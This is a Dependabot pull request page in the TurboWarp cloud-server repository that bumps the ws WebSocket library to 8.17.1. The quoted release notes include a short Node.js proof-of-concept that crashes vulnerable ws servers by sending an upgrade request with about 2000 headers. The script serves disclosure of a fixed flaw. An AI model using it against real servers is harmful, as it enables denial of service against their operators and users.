TurboWarp / cloud-server

Cloud variable server monorepo: Node.js server implementation and protocol documentation
MIT License
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Bump ws and @types/ws #147

Closed dependabot[bot] closed 5 months ago

dependabot[bot] commented 5 months ago

Bumps ws and @types/ws. These dependencies needed to be updated together. Updates ws from 8.16.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;

for (let i = 0; i < chars.length; i++) { if (count === 2000) break;

for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}

headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';

const request = http.request({ headers: headers, host: '127.0.0.1', port: server.address().port });

request.end(); });

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view


Updates @types/ws from 7.4.7 to 8.5.10

Commits


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